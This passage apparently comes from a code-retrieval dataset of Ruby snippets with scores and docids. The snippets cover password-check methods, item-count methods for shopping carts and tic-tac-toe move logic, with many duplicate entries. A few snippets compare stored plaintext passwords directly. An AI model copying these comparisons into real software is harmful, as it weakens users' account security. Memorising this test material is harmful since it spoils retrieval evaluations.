has_password?(submitted_password)\n self.encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "0c424bb9ca356ac5a01d216cb9e77dbb", "score": "0.7577951", "text": "def has_password?(submitted_password)\n #will test if the submitted_password is the same as the encrypted password\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.75735927", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "44fc0e344ac603cc93e23bcabfd2fe47", "score": "0.7573381", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "8141932371338c316c6447fa4dda7a23", "score": "0.7568166", "text": "def has_password?(submitted_password)\n crypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "d46e87fd90d864bbbc1bf1f0561405ae", "score": "0.75659686", "text": "def password_is_correct?(entered_password)\n BCrypt::Password.new(self.encrypted_password).is_password?(entered_password)\n end", "title": "" }, { "docid": "7ba4d832ca16e72439fcd3da345153c6", "score": "0.7564958", "text": "def match_password(login_password=\"\")\r\n encrypted_password == BCrypt::Engine.hash_secret(login_password, salt)\r\n end", "title": "" }, { "docid": "46343fcb28358000a412570883cda7e3", "score": "0.7560884", "text": "def valid_password?(password)\n compare(password)\n end", "title": "" }, { "docid": "bd43188b939fc9b929690cbcccdb0852", "score": "0.7560446", "text": "def credential_match?(user, login, password)\n return false unless user.email == login || user.phone == login\n return false unless user.password == password\n return true\n end", "title": "" }, { "docid": "fe48e68f601a4bffebc834f445e280d0", "score": "0.75585324", "text": "def has_password?(submitted_password)\n self.encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "100f3b65a14bb90501ab5408f332cf27", "score": "0.7548749", "text": "def match_password(login_password=\"\")\n encrypted_password == BCrypt::Engine.hash_secret(login_password, salt)\n end", "title": "" }, { "docid": "7b8fb713ac175b3cfe656b9e6747d082", "score": "0.7547703", "text": "def should_validate_password?\n updating_password || new_record?\n end", "title": "" }, { "docid": "756223d393c2c40aa4ce0664956e59e2", "score": "0.754697", "text": "def validate_by_password\n self.invalid_password = false\n validate_by_password__blank_fields\n return if errors.count > 0\n self.attempted_record = search_for_record(\n self.class.record_selection_method,\n send(login_field)\n )\n if attempted_record.blank?\n add_login_not_found_error\n return\n end\n validate_by_password__invalid_password\n end", "title": "" }, { "docid": "76415dd44712f4d5c0e59f9d731d06dc", "score": "0.75457937", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "aabb304193e7f28826a2f9818e979b47", "score": "0.75421226", "text": "def credential_match?(user, login, password)\n return false unless user.phone == login || user.email == login\n return false unless user.password == password\n true\n end", "title": "" }, { "docid": "76d270971075222f3503911ccf69589d", "score": "0.7540436", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" } ]
952358b76e0d328f5332beae2e9eb477
The number of items purchased
[ { "docid": "2006e5fe99725d3dc495ca3b21489d9b", "score": "0.0", "text": "def quantity\n read_integer('quantity')\n end", "title": "" } ]
[ { "docid": "013d580b5c6d27f39016322c08f867ee", "score": "0.80416614", "text": "def total_purchases(product)\n product[\"purchases\"].length\n end", "title": "" }, { "docid": "00da2db0d69887d93e621a960c4e9e2f", "score": "0.7923734", "text": "def total_item_count\n items.count\n end", "title": "" }, { "docid": "872c32f92b6c7dddf171c619deaab32f", "score": "0.78601533", "text": "def items_count\n shopping_cart_items_group_by_date_time_item_id.size\n end", "title": "" }, { "docid": "f0cc9983a4957761248c56bdf6684915", "score": "0.78246754", "text": "def item_count\n items.size\n end", "title": "" }, { "docid": "a700a3ef86293234aa9f5a6fa4aa797d", "score": "0.77725327", "text": "def number_of_items\n items = 0\n self.cart_items.each do |item|\n items = items + item.quantity\n end\n if items == 0\n return \"empty\"\n else\n items\n end\n end", "title": "" }, { "docid": "6c20609ecde7c542edaaea34529276f2", "score": "0.7766523", "text": "def item_count\n items.size\n end", "title": "" }, { "docid": "e61011f971c631276dfe81b2efdce001", "score": "0.7742286", "text": "def item_count\n @items.length\n end", "title": "" }, { "docid": "22aa5b7e8eded07496326e864814953a", "score": "0.77221775", "text": "def item_count\n @items.count\n end", "title": "" }, { "docid": "7e2ca862300ad098698cb75d92d457e2", "score": "0.76825875", "text": "def item_count\n data[:item_count]\n end", "title": "" }, { "docid": "b87965d3b3642817bb463bc1be5566a7", "score": "0.76516956", "text": "def number_purchases(toy)\n\ttoy[\"purchases\"].length\nend", "title": "" }, { "docid": "235eb7ef863b8ba84dc252de973908b2", "score": "0.7639771", "text": "def num_paid\n paid_items.count\n end", "title": "" }, { "docid": "235eb7ef863b8ba84dc252de973908b2", "score": "0.7639771", "text": "def num_paid\n paid_items.count\n end", "title": "" }, { "docid": "8b059baebdd1c4f5165e4d295fb0f30a", "score": "0.7639376", "text": "def items_count\n @entries.sum(&:quantity)\n end", "title": "" }, { "docid": "7192b23eb173a4c745fd7382950f1153", "score": "0.7634906", "text": "def number_of_shopping_cart_items\n shopping_cart_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "7ffde3883aabbfac19a89a0bf1c913f3", "score": "0.7617128", "text": "def items_count\n counter = 0\n self.line_items.each do |item|\n counter += item.quantity\n end\n counter\n end", "title": "" }, { "docid": "9e88b4eca4c08286003f2bbd8aaf3214", "score": "0.7572126", "text": "def NumberPurchases(vari)\n\t\tputs toy[\"purchases\"].length\n\tend", "title": "" }, { "docid": "72e0ac6800a92c41135c667d09a776ee", "score": "0.7555121", "text": "def item_count\n @count\n end", "title": "" }, { "docid": "43a994c0829e17ec1d4524da1a324399", "score": "0.7527141", "text": "def total_item_count\n return @total_item_count\n end", "title": "" }, { "docid": "e40099784e077d8b95b3297b3523d209", "score": "0.7514913", "text": "def total_number_of_purchases(toyPurchases)\n toyPurchases.count\nend", "title": "" }, { "docid": "e1cab4cff65d5fe13a6f7393735edb5b", "score": "0.7491437", "text": "def products_sold(items)\n\t$total_purchased = items[\"purchases\"].length\n\tprint_report \"Total Purchases: #{$total_purchased}\"\nend", "title": "" }, { "docid": "3a5b0bdb1271d49a6c59da770729d968", "score": "0.7478912", "text": "def count\r\n items.size\r\n end", "title": "" }, { "docid": "8ce6bac6af936238a407c9346506d805", "score": "0.747678", "text": "def total_items\n self.cart_items.count\n end", "title": "" }, { "docid": "7a2f694246d761f692f2e457d1011b22", "score": "0.7475535", "text": "def count\n @items.count\n end", "title": "" }, { "docid": "02673d72af985c9c207f6ba199503f7b", "score": "0.74750024", "text": "def count\n @items.length\n end", "title": "" }, { "docid": "8192c15ffc9b26e84bebeadc9a75eb1c", "score": "0.7459976", "text": "def num_of_items\n order_items.collect { |oi| oi.valid? ? oi.quantity : 0 }.sum\n end", "title": "" }, { "docid": "e940903afffa24905eb933711c0d9db6", "score": "0.745489", "text": "def total_item_count\n collection.size\n end", "title": "" }, { "docid": "55c66e018936426878bc420ff116feb3", "score": "0.7443229", "text": "def number_purchase_each(toy)\n return toy[\"purchases\"].length\nend", "title": "" }, { "docid": "5699529229e3ed2e6a92a118fd483a9c", "score": "0.7440701", "text": "def items_count\n carrousel_items.count\n end", "title": "" }, { "docid": "12c725c26a0523132438bbe0a0deb1ca", "score": "0.74363965", "text": "def item_count\n @items.values.inject(0) do |count, item|\n count + item.count\n end\n end", "title": "" }, { "docid": "ab3ac4d994e45b57347bdfa265d1d9fd", "score": "0.74201155", "text": "def get_total_item_count\n self.initialize_cart unless @cart\n item_count = 0\n @cart.items.map { |item|\n item_count += item.fetch(\"table\").fetch(\"count\")\n }\n return item_count\n end", "title": "" }, { "docid": "7aa8e1d09e1a440ce3c28cc1d29742f0", "score": "0.7415222", "text": "def total_of_products\n products.count\n end", "title": "" }, { "docid": "946b3cb69941964b81f2bcf31e59db62", "score": "0.73714346", "text": "def get_quantity_of_enterd_items(items)\n\t\t\titems.uniq.each do |item|\n\t\t\t\t@quantity << items.count(item)\n\t\t\tend\n\t\t\t@quantity\n\t\tend", "title": "" }, { "docid": "7ec496378201a95555a7bd6ef58da94d", "score": "0.73660624", "text": "def total_of_products\n products.count\n end", "title": "" }, { "docid": "7500496aac4c8f5cd2d78a4aeb38146c", "score": "0.7355969", "text": "def calculate_number_of_elements_in_cart\n \n @line_items_count = @cart.line_items.sum('quantity')\n \n end", "title": "" }, { "docid": "c8bd39a9ea56c68a2125d4da574eb4a0", "score": "0.73555106", "text": "def number_of_items\n number_of_items = 0\n line_items.each do |li|\n number_of_items += li.quantity\n end\n number_of_items\n end", "title": "" }, { "docid": "d0df9c778458aa36478e55984aa7bfc9", "score": "0.73535025", "text": "def calculate_total_purchases(product)\n product[\"purchases\"].length\nend", "title": "" }, { "docid": "8fd8f513350bf5cc03f8f89e8c4bcd6a", "score": "0.7347589", "text": "def item_count\r\n @collection.count\r\n end", "title": "" }, { "docid": "4840cfdb10d6a7446648a7b3883deeb9", "score": "0.73196816", "text": "def item_count(product_item)\n product_option.items.count(product_item) * option_count\n end", "title": "" }, { "docid": "f0dfbf2032c990f9a537e611c33106df", "score": "0.731548", "text": "def total_order_items\n count = 0\n self.order_items.each do |order_item|\n count += order_item.quantity\n end\n count\n end", "title": "" }, { "docid": "776ec978eb1525ed533740e933063133", "score": "0.73130125", "text": "def item_count\r\n @item_count - 1\r\n end", "title": "" }, { "docid": "e1845d35973194fb0c0104f078226b42", "score": "0.7300182", "text": "def count\n if @items\n return @items.count\n else\n return 0\n end\n end", "title": "" }, { "docid": "e9b0d4237f78c2ce166810ac39df9183", "score": "0.7299649", "text": "def item_count(id) $game_party.item_number($data_items[id]) end", "title": "" }, { "docid": "34af603ba503ab27e8544640db0fa5c1", "score": "0.7291678", "text": "def count_number_items (list)\n puts #a space-line for better reading\n number_of_items = @list.count\n puts \"Total number of items to purchase is #{number_of_items}.\"\nend", "title": "" }, { "docid": "6d909364b107b1ffb33aa9ce16958628", "score": "0.7284703", "text": "def size\n counter = 0\n @items.each do |item|\n counter += 1\n end\n return counter\n end", "title": "" }, { "docid": "143d557d7d807697711699117256bdf5", "score": "0.72679496", "text": "def item_count\n @collection.size\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "f7f217be8427a8933d6fda85be8163e6", "score": "0.7260835", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "161a6d1079a106ebced368031ad38a1a", "score": "0.72543275", "text": "def item_count\n line_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "161a6d1079a106ebced368031ad38a1a", "score": "0.72543275", "text": "def item_count\n line_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "27fca44c07be74f8b63fbfaecf3ad553", "score": "0.7249985", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "494fba436715d87e1bb9d932102115fd", "score": "0.72462535", "text": "def size\n @items.count\n end", "title": "" }, { "docid": "dbaefc36162d16477baa2524bc52e007", "score": "0.72460574", "text": "def item_count\n collection.length\n end", "title": "" }, { "docid": "6b2ec912c5ce3aa9217166230fcb01f3", "score": "0.72425395", "text": "def total_items\n order_items.inject(0) { |t, _i| t + 1 }\n end", "title": "" }, { "docid": "96b8d35c231eca0a6151d24e83ac98ab", "score": "0.72171825", "text": "def tickets_purchased()\n #called on customer so\n # customer.films.count basically.\n films().count()\n end", "title": "" }, { "docid": "bb8be2c853a5183f0c6ae42c929a283b", "score": "0.720959", "text": "def purchase_quantity\n @purchase = Purchase.find_by(item_id: @item.id)\n if @purchase\n @purchase.quantity\n end\n end", "title": "" }, { "docid": "3f89e9b6a5756b7b896b78c848404195", "score": "0.72008485", "text": "def total_products\n @items.inject(0) do |total, items|\n total += items.count\n end\n end", "title": "" }, { "docid": "4f794f816e3b0a39406803505848d5a9", "score": "0.71975356", "text": "def item_count\n @collection.size\n end", "title": "" }, { "docid": "4f794f816e3b0a39406803505848d5a9", "score": "0.71975356", "text": "def item_count\n @collection.size\n end", "title": "" }, { "docid": "4f794f816e3b0a39406803505848d5a9", "score": "0.71975356", "text": "def item_count\n @collection.size\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.7182899", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "3a9c2a717d93ef161db7b65b55c8081c", "score": "0.718229", "text": "def item_count\n @collection.length\n end", "title": "" }, { "docid": "4c1bfa6a51b9848bfeabfded22cc661b", "score": "0.71794015", "text": "def total_list\n @items.length\n end", "title": "" }, { "docid": "979639069e21e621ce92f447c8db26c0", "score": "0.7175345", "text": "def num_selected_items\n num_unpaid(include_incomplete_registrants: true) + num_paid\n end", "title": "" }, { "docid": "2a7e9245ca8b2e4adbaaaf93d2d61fc9", "score": "0.717134", "text": "def item_count\n @collection.count\n end", "title": "" }, { "docid": "2a7e9245ca8b2e4adbaaaf93d2d61fc9", "score": "0.717134", "text": "def item_count\n @collection.count\n end", "title": "" }, { "docid": "19f27050c03dbefca5dc0b767c8a89fe", "score": "0.7170096", "text": "def item_count\n inventories.map(&:product_count).sum\n end", "title": "" }, { "docid": "025b385b7f8a1511232e334569195c46", "score": "0.71685135", "text": "def num_free\n free_items.count\n end", "title": "" }, { "docid": "025b385b7f8a1511232e334569195c46", "score": "0.71685135", "text": "def num_free\n free_items.count\n end", "title": "" }, { "docid": "75505beac33c4183ae6ae0b109f84320", "score": "0.7150828", "text": "def total_count\n prepare_item(0) if @item.nil?\n @item[-1].to_i\n end", "title": "" }, { "docid": "0bf32086306af3d2ee469db665628320", "score": "0.7148533", "text": "def calc_num_purchases(toy)\n toy['purchases'].length\nend", "title": "" }, { "docid": "ba593a52238a9457eeccdca01c8dbc3c", "score": "0.7141159", "text": "def items_ordered_count\n count = 0\n current_user.orders.each do |order|\n count += order.order_items.count\n end\n count\n end", "title": "" }, { "docid": "60a44e4f3a33ac246f4e95365c6964cc", "score": "0.71401507", "text": "def get_items_count(product)\n @count = product.productitems.count\n @count += product.friendships.count \n return @count\n end", "title": "" }, { "docid": "a3e9f048ebdd87aec99404fe75dadd6b", "score": "0.71103466", "text": "def items_count\n self.newsletter_edition_items.count\n end", "title": "" }, { "docid": "6ba180efb3dbca32a46601a0e20c58b4", "score": "0.70988166", "text": "def cart_items_count\n cart_element.when_visible.text.to_i\n end", "title": "" }, { "docid": "2912edae1f520b8166295f9c19ce4833", "score": "0.70981777", "text": "def product_count\n\t\tself.products.size\n\tend", "title": "" }, { "docid": "5c505596f3e557af489f64dd2c930f49", "score": "0.70976233", "text": "def current_size\n self.cart_items.count\n end", "title": "" }, { "docid": "bf05b12020f9352ac9ffb936ae3a7d22", "score": "0.7089474", "text": "def number_of_sales\n return sales.length\n end", "title": "" }, { "docid": "bf05b12020f9352ac9ffb936ae3a7d22", "score": "0.7089474", "text": "def number_of_sales\n return sales.length\n end", "title": "" }, { "docid": "8c12c43ef38d05d8792cce3335d88c86", "score": "0.7075806", "text": "def quantity_available\n (count_on_hand - count_pending_to_customer)\n end", "title": "" }, { "docid": "fc6b73fe4d2e10070fd087ad48968f14", "score": "0.70633364", "text": "def number_of_sales\n return sales.length\n end", "title": "" }, { "docid": "41ebaf2d6b7292cd5f4e4cca2f2f2780", "score": "0.70436335", "text": "def item_count\n item_count ||= @collection.size\n end", "title": "" }, { "docid": "17f4863fbf723a2e6ec7e495ecaaaf92", "score": "0.7043465", "text": "def item_count(ammo_type)\n return 0 if @inventory[ammo_type.to_sym].nil?\n\n @inventory[ammo_type.to_sym][:qty]\n end", "title": "" }, { "docid": "753318d3f08419cad945ff3e8617a738", "score": "0.70421076", "text": "def total_viewable_items\n total_items\n end", "title": "" }, { "docid": "eb74735f084a46dcea89c80399de8491", "score": "0.70404345", "text": "def count_items\n\t\titem_count = 0\n\n\t\t@db_hash.each_value{|db|\n\t\t\titem_count += db.num_items\n\t\t}\n\n\t\titem_count\n\tend", "title": "" }, { "docid": "84548d99163f57807309b09ae9ea1ad6", "score": "0.70343626", "text": "def quantity #work on this method\n cart.cart_items.where(product_id: self.product_id).count\n end", "title": "" }, { "docid": "ffbb38d2201ac4cbca32fd1df63a395e", "score": "0.70295167", "text": "def inventory_count\n @inventory.count\n end", "title": "" }, { "docid": "7d56b0a16bb21a1325f9cfa40f20844d", "score": "0.70226777", "text": "def cart_qty\n session[:gh].uniq.count\n end", "title": "" }, { "docid": "fb5984d8edf32db8b15f08046a6e83b1", "score": "0.7014706", "text": "def purchase_amount\n item_price * purchase_count\n end", "title": "" }, { "docid": "2948be770add32f4513f400ca0677835", "score": "0.7012434", "text": "def size\r\n @items.size\r\n end", "title": "" }, { "docid": "495003826eeeb80fdf0f7bfa2642e320", "score": "0.69950897", "text": "def number_of_sales\n return FarMar::Sale.by_product(@id).length\n end", "title": "" }, { "docid": "3fcafbddf95b9b50899506444528968a", "score": "0.69891405", "text": "def number_of_sales\n FarMar::Sale.product_sales(@id).length\n end", "title": "" } ]
a1768b7720da4968ddf183bc0255eee8
base case def computer_places_piece!(brd) square = empty_squares(brd).sample brd[square] = COMP_MARKER end bonus 3 def computer_places_piece!(brd) with defensive capability square = detect_action(brd) square = empty_squares(brd).sample unless square > 0 brd[square] = COMP_MARKER end bonus 4
[ { "docid": "295387a627e30bfe19a01e3d52fcffe4", "score": "0.9248619", "text": "def computer_places_piece!(brd) # with offensive capability\n square = detect_action(brd, COMP_MARKER) # bonus 4, bonus 5a\n square = detect_action(brd, PLAYER_MARKER) unless square > 0\n square = 5 if empty_squares(brd).include?(5) # bonus 5b\n square = empty_squares(brd).sample unless square > 0\n brd[square] = COMP_MARKER\nend", "title": "" } ]
[ { "docid": "722eb29d16da208fcabc597c15721b67", "score": "0.83294654", "text": "def computer_places_piece!(brd)\n square = nil\n\n # offense first\n\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square\n end\n\n # defense \n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n\n # just pick a square\n if !square\n if brd[5] == INITIAL_MARKER\n brd[5] = COMPUTER_MARKER\n else\n square = empty_squares(brd).sample\n end\n end\n\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "e00809df8e02ae51904bf4f0971fac03", "score": "0.8292772", "text": "def computer_places_piece!(brd)\n square = nil\n\n # offense first\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square\n end\n\n # defense\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n\n # pick square 5, if available\n if !square && brd[5] == ' '\n square = 5\n end\n\n # just pick a square\n if !square\n square = empty_squares(brd).sample\n end\n\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "2cb1e6227e2dd7cbf5f08f5a74f5f1a3", "score": "0.8218971", "text": "def computer_places_piece!(brd)\n opportunities = WINNING_LINES.select do |line|\n brd.values_at(*line).count(COMPUTER_MARKER) == 2\n end\n \n attack_squares = []\n \n opportunities.each do |line|\n line.each do |square|\n attack_squares << square if brd[square] == INITIAL_MARKER\n end\n end\n \n threats = WINNING_LINES.select do |line|\n brd.values_at(*line).count(PLAYER_MARKER) == 2\n end\n \n defend_squares = []\n \n threats.each do |line|\n line.each do |square|\n defend_squares << square if brd[square] == INITIAL_MARKER\n end\n end\n \n if !(attack_squares.empty?)\n square = attack_squares.sample\n elsif !(defend_squares.empty?)\n square = defend_squares.sample\n elsif empty_squares(brd).include?(5)\n square = 5\n # elsif brd[5] == PLAYER_MARKER\n # square = empty_squares(brd).select { |sq| sq.odd? }.sample\n else\n square = empty_squares(brd).sample\n end\n \n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "a4b26dd22c203124f9982eb33fc4ae7a", "score": "0.8165643", "text": "def computer_places_piece!(brd)\n square = nil\n\n # offensive move\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, CPU_MARKER)\n break if square\n end\n\n # defensive move\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n\n # optimized first move, choose the center\n if empty_squares(brd).include?(5)\n square = 5\n end\n\n # neutral move\n if !square\n square = empty_squares(brd).sample\n end\n\n brd[square] = CPU_MARKER\nend", "title": "" }, { "docid": "e87f94fe1439d7666d0b9ccaf663ac5d", "score": "0.8132059", "text": "def computer_places_piece!(brd)\n square = empty_squares(brd).sample\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "6c5b2e1aacce8c1562318db1f7291396", "score": "0.80825573", "text": "def computer_places_piece!(brd)\n if !!computer_almost_win(brd)\n square = computer_almost_win(brd)\n elsif !!player_almost_win(brd)\n square = player_almost_win(brd)\n elsif brd.values_at(5) == [' ']\n square = 5\n else\n square = empty_squares(brd).sample\n end\n\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "7714600dd207f9fe088d0cd36127147f", "score": "0.8024037", "text": "def computer_places_piece!(brd)\n square = ''\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square != ''\n end\n\n if square == ''\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square != ''\n end\n end\n\n square = 5 if empty_squares(brd).include?(5)\n square = empty_squares(brd).sample if square == ''\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "44cc0f1e02d811661e8c33caa18069fe", "score": "0.7699988", "text": "def computer_places_piece!(brd)\n square = nil\n WINNING_LINES.each do |line|\n if (brd.values_at(line[0], line[1], line[2]).count(COMPUTER_MARKER) == 2) &&\n (brd.values_at(line[0], line[1], line[2]).count(INITIAL_MARKER) == 1)\n square = brd.slice(line[0], line[1], line[2]).key(INITIAL_MARKER)\n elsif (brd.values_at(line[0], line[1], line[2]).count(PLAYER_MARKER) == 2) &&\n (brd.values_at(line[0], line[1], line[2]).count(INITIAL_MARKER) == 1)\n square = brd.slice(line[0], line[1], line[2]).key(INITIAL_MARKER)\n end\n end\n if square == nil && empty_squares(brd).include?(5)\n square = 5\n elsif square == nil\n square = empty_squares(brd).sample\n end\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "82bb428f5df812c66c2584cef976bed7", "score": "0.76847625", "text": "def computer_places_piece!(brd) \n # Computer plays defense, and plays an open square on a row where player has 2 squares\n if brd.values_at(*TOP_ROW).count(PLAYER_MARKER) == 2 && \n brd.values_at(*TOP_ROW).count(COMPUTER_MARKER) == 0\n computer_next_square = TOP_ROW.select { |square| brd[square] == INITIAL_MARKER }.first\n elsif brd.values_at(*MIDDLE_ROW).count(PLAYER_MARKER) == 2 && \n brd.values_at(*MIDDLE_ROW).count(COMPUTER_MARKER) == 0\n computer_next_square = MIDDLE_ROW.select { |square| brd[square] == INITIAL_MARKER }.first\n elsif brd.values_at(*BOTTOM_ROW).count(PLAYER_MARKER) == 2 && \n brd.values_at(*BOTTOM_ROW).count(COMPUTER_MARKER) == 0\n computer_next_square = BOTTOM_ROW.select { |square| brd[square] == INITIAL_MARKER }.first\n else\n computer_next_square = empty_squares(brd).sample # If player not threatening a row, computer picks randomly\n end\n\n brd[computer_next_square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "6e6ef3c0c7faae8a67e83e5f0e125109", "score": "0.73993456", "text": "def computer_place_random_piece!(brd)\n random_square_location = empty_squares(brd).sample\n mark_square_at_location!(brd, random_square_location, 